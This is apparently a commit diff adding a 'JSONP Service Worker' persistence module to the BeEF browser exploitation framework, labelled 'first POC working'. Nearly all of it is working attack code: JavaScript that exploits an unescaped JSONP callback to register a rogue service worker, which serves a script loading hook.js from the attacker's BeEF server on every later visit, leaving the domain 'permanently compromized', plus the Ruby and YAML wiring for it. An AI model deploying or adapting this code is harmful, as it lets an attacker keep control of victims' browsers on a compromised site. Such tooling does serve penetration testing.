first POC working

modules/persistence/jsonp_service_worker/command.js

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+//
+// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+  var scriptElem = document.createElement("script");
+  scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27http%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27%3Cscript%20src%3D%5C%27http%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%2Fhook.js%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")';
+  $j("body").append(scriptElem);
+  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected.");
+});

modules/persistence/jsonp_service_worker/config.yaml

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+#
+# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        jsonp_service_worker:
+            enable: true
+            category: "Persistence"
+            name: "JSONP Service Worker"
+            description: "This module will exploit an unescaped callback parameter in a JSONP endpoint (of the same domain compromized) to ensure that BeEF will hook every time the user revisits the domain"
+            authors: ["clod81"]
+            target:
+                working: ["C"]
+                not_working: ["S", "FF", "IE"]

modules/persistence/jsonp_service_worker/module.rb

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+class Jsonp_service_worker < BeEF::Core::Command
+
+  def post_execute
+    save({'result' => @datastore['result']})
+  end
+
+  def self.options
+    return [
+      {'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback='}
+    ]
+  end
+
+end